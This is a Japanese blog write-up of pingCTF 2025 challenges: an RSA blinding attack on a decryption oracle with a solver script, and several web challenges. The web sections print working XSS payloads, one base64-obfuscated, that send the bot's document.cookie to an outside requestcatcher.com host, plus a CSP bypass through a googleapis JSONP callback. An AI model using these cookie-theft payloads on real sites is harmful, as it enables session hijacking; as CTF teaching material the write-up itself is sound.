はまやんはまやんはまやん

hamayanhamayan's blog

pingCTF 2025 Writeup

[crypto] easy rsa

Every ctf needs RSA challenge :)

from Crypto.Util.number import getPrime, bytes_to_long
import os 

p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = getPrime(512)
d = pow(e, -1, (p-1)*(q-1))

flag = bytes_to_long(bytes(os.environ["FLAG"], "utf-8"))
encrypted_flag = pow(flag, e, n)

print("Flag ciphertext: ", encrypted_flag)

for i in range(4):
    ciphertext = int(input("Enter ciphertext you want to decrypt: "))
    if ciphertext <= 0 or ciphertext >= n:
        print("0 < ciphertext < n is required!")
        break
    if ciphertext == encrypted_flag:
        print("You serious?")
        break
    print("Your decrypted text: ", pow(ciphertext, d, n))

問題コードは簡潔。2ステップで問題を解く。

nの特定

3回分のリクエストを使って、nを特定する。2の累乗値を利用する。まず、a=2、b=22、c=24を送信して復元した値を取得する。

 \displaystyle
a_{\text{dec}} = 2^d \mod n \\
b_{\text{dec}} = 2^2d \mod n \\
c_{\text{dec}} = 2^4d \mod n

こうなります。これをうまく使うと以下のような関係式が立てられる。

 \displaystyle
a_{\text{dec}}^2 = b_{\text{dec}} \mod n \\
b_{\text{dec}}^2 = c_{\text{dec}} \mod n \\
a_{\text{dec}}^4 = c_{\text{dec}} \mod n

しかし実際には、これらの計算結果はnを超えると「折り返し」が発生するため、

 \displaystyle
a_{\text{dec}}^2 = b_{\text{dec}} + k_1n \\
b_{\text{dec}}^2 = c_{\text{dec}} + k_2n \\
a_{\text{dec}}^4 = c_{\text{dec}} + k_3n

のような感じになるので、

 \displaystyle
a_{\text{dec}}^2 - b_{\text{dec}} = k_1n \\
b_{\text{dec}}^2 - c_{\text{dec}}= k_2n \\
a_{\text{dec}}^4 - c_{\text{dec}} = k_3n

となり、取得した値をうまく計算するとnの倍数が3つ得られます。これらのGCDを取ることでn、または、その倍数が得られる。

RSAの式をうまく使って計算を戻す

nの値を特定したら、RSAの式をうまく使うことで、計算を戻してフラグを復元する。結論から言うと、2 \times \text{encrypted_flag}の復元をリクエストする。これにより

 \displaystyle
(2 \times \text{encrypted_flag})^d = 2^d \times \text{plaintext} = a_{\text{dec}} \times \text{plaintext}

のような感じになりa_{\text{dec}}は既にステップ1で取得済みなので割ってやればフラグが手に入る。

ソルバ

ということで以下のソルバで解ける。

from ptrlib import *
from Crypto.Util.number import long_to_bytes, inverse

sock = remote("[redacted]", [redacted])

enc_flag = int(sock.recvline().split()[-1])

sock.sendlineafter("decrypt: ", str(2))
a_dec = int(sock.recvlineafter(b": "))
sock.sendlineafter("decrypt: ", str(4))
b_dec = int(sock.recvlineafter(b": "))
sock.sendlineafter("decrypt: ", str(16))
c_dec = int(sock.recvlineafter(b": "))

n_candidate1 = a_dec**2 - b_dec
n_candidate2 = b_dec**2 - c_dec
n_candidate3 = a_dec**4 - c_dec

n = gcd(gcd(n_candidate1, n_candidate2), n_candidate3)
blinded = (enc_flag * 2) % n
sock.sendlineafter("decrypt: ", str(blinded))
blinded_dec = int(sock.recvlineafter(b": "))

r_inv = inverse(a_dec, n)
flag_value = (blinded_dec * r_inv) % n
flag = long_to_bytes(flag_value)
print(flag)

[web] calc

just a calc app

ソースコード有り。

// bot.js
import puppeteer from "puppeteer";

const FLAG = process.env.FLAG ?? "ping{FAKE}";

const isSafeSuffix = (s) => {
  return !s.includes(".");
};

export const report = async (data) => {
  if (typeof data !== "string") {
    throw new Error("invalid data");
  }
  if (!isSafeSuffix(data)) {
    throw new Error("invalid data");
  }

  const browser = await puppeteer.launch({
    headless: "new",
    args: [
      "--disable-gpu",
      "--no-sandbox",
      "--js-flags=--noexpose_wasm,--jitless",
    ],
    executablePath: "/usr/bin/chromium-browser",
  });
  const page = await browser.newPage();
  await page.setCookie({
    name: "FLAG",
    value: FLAG,
    domain: "localhost",
    path: "/",
  });
  await page.goto(`http://localhost:3000/${data}`);
  await new Promise((resolve) => setTimeout(resolve, 1000));
  await browser.close();
};

こんな感じでフラグを持ったbotがアクセスする。.が入っていないかだけ検証している。あとは、XSSポイントだが単純なものがある。

fastify.get("/test", async (req, reply) => {
  reply.type("text/html").send(req.query?.html ?? "req query html empty");
});

ということで.だけ使えないのでXSSして、という問題。

fetch('https://[yours].requestcatcher.com/test', { 
  method: 'post', 
  body: document.cookie 
});

こういうものを送れれば良いのだが.が含まれているのでbase64を使って回避する。以下のようにやる。

<script>eval(atob('ZmV0Y2goJ2h0dHBzOi8vams1NDNqaWdkYWpza2Zhc2lzZmRqa2FzanJpc2VqaS5yZXF1ZXN0Y2F0Y2hlci5jb20vdGVzdCcsIHsgbWV0aG9kOiAncG9zdCcsIGJvZHk6IGRvY3VtZW50LmNvb2tpZSB9KTs='));</script>

あとは、様式に合わせて以下のようなURLをbotに踏ませればフラグが降ってくる。

test?html=%3Cscript%3Eeval%28atob%28%27ZmV0Y2goJ2h0dHBzOi8vams1NDNqaWdkYWpza2Zhc2lzZmRqa2FzanJpc2VqaS5yZXF1ZXN0Y2F0Y2hlci5jb20vdGVzdCcsIHsgbWV0aG9kOiAncG9zdCcsIGJvZHk6IGRvY3VtZW50LmNvb2tpZSB9KTs%3D%27%29%29%3B%3C%2Fscript%3E

[web] sprint-user

Try to log in as a KevinM user link: if this place is empty, ping admins

ソースコード無し。巡回するとコメントにフラグが埋め込んである。

<main>
  <!-- [redacted] -->
  <form action="/login" method="POST">
    <label for="username">Username:</label>
    <input type="text" name="username" required /><br/>
    <label for="password">Password:</label>
    <input type="password" name="password" required /><br/>
    <input type="submit" value="Login" />
  </form>
</main>

[web] keyboard-lovers

The mechanical keyboards fan forum is a place where you can find lots of interesting information. However, some of them are hidden from regular users. Can you uncover it?

ソースコード有り。以下のようにadminbotに新規作成したキーボードのサイトを表示させることができる。

def approve_keyboard(keyboard_id):
    options = webdriver.ChromeOptions()
    options.add_argument('--headless')
    options.add_argument('--no-sandbox')
    options.add_argument('--disable-gpu')
    options.add_argument('--disable-extensions')
    driver = webdriver.Chrome(options=options)
    driver.get(f'http://localhost:5000/keyboard/{keyboard_id}')
    driver.add_cookie({'name': 'auth', 'value': get_my_key()})
    driver.refresh()
    sleep(3)
    driver.find_element('id', 'approve_btn').click()
    sleep(6)
    driver.close()

ここを使ってXSSするのが問題の大部分。GET /keyboard/{keyboard_id}部分は

@app.get('/keyboard/<int:keyboard_id>')
def get_keyboard(keyboard_id):
    conn = sqlite3.connect('database.sqlite')
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM keyboards WHERE ID = ?", (keyboard_id,))
    keyboard = cursor.fetchone()
    if keyboard is None:
        return "Keyboard not found", 404
    cursor.execute("SELECT * FROM ratings WHERE KEYBOARD_ID = ?", (keyboard_id,))
    ratings = cursor.fetchall()
    result = {
        'id': keyboard[0],
        'name': keyboard[1],
        'brand': keyboard[2],
        'description': keyboard[3],
        'rating': calc_rating(ratings, keyboard_id),
        'approved': keyboard[4],
    }
    if not result['approved'] and not is_admin(request.cookies.get('auth')):
        return "Keyboard not found", 404
    conn.close()
    return render_template('rate.html', keyboard=result, sudo=is_admin(request.cookies.get('auth')))

のような実装で、rate.htmlを見ると<p>&gt; Description {{ keyboard.description|safe }}</p>のようにdescriptionでXSSできそうになっている。しかし、

@app.after_request
def add_header(response):
    response.headers['CONTENT-SECURITY-POLICY'] = "default-src 'none';"\
                                                  " script-src https://*.googleapis.com 'sha256-FlG9O9q1cgn5OYucapSvUz43B/tZq3UVDljeyRiVWvs='; " \
                                                  "style-src https://cdn.jsdelivr.net https://*.googleapis.com 'unsafe-inline'; "\
                                                  "img-src 'self'; " \
                                                  "connect-src 'self';" \
                                                  "font-src https://fonts.gstatic.com; " \
                                                  "form-action 'self'; block-all-mixed-content; " \
                                                  "upgrade-insecure-requests; "
    return response

のようにCSPがかかっているのでどうしようかなというのが難しいポイント。

弱点はscript-src https://*.googleapis.comで、色々ググると以下のようにやればアラートが出せることが分かる。

<!-- https://github.com/Mehdi0x90/Web_Hacking/blob/main/CSP%20Bypass.md -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)" ></script>

これをガチャガチャ弄って、以下のようにやればcookieが抜ける。

<script src="https://www.googleapis.com/customsearch/v1?callback=window.open(`https://afsji34jkafsdjadkfjwrjwirjaekrasek.requestcatcher.com/get?${document.cookie}`);" ></script>

cookieが抜ければ、あとはそれを使えばフラグが手に入る。(非想定解な気がする)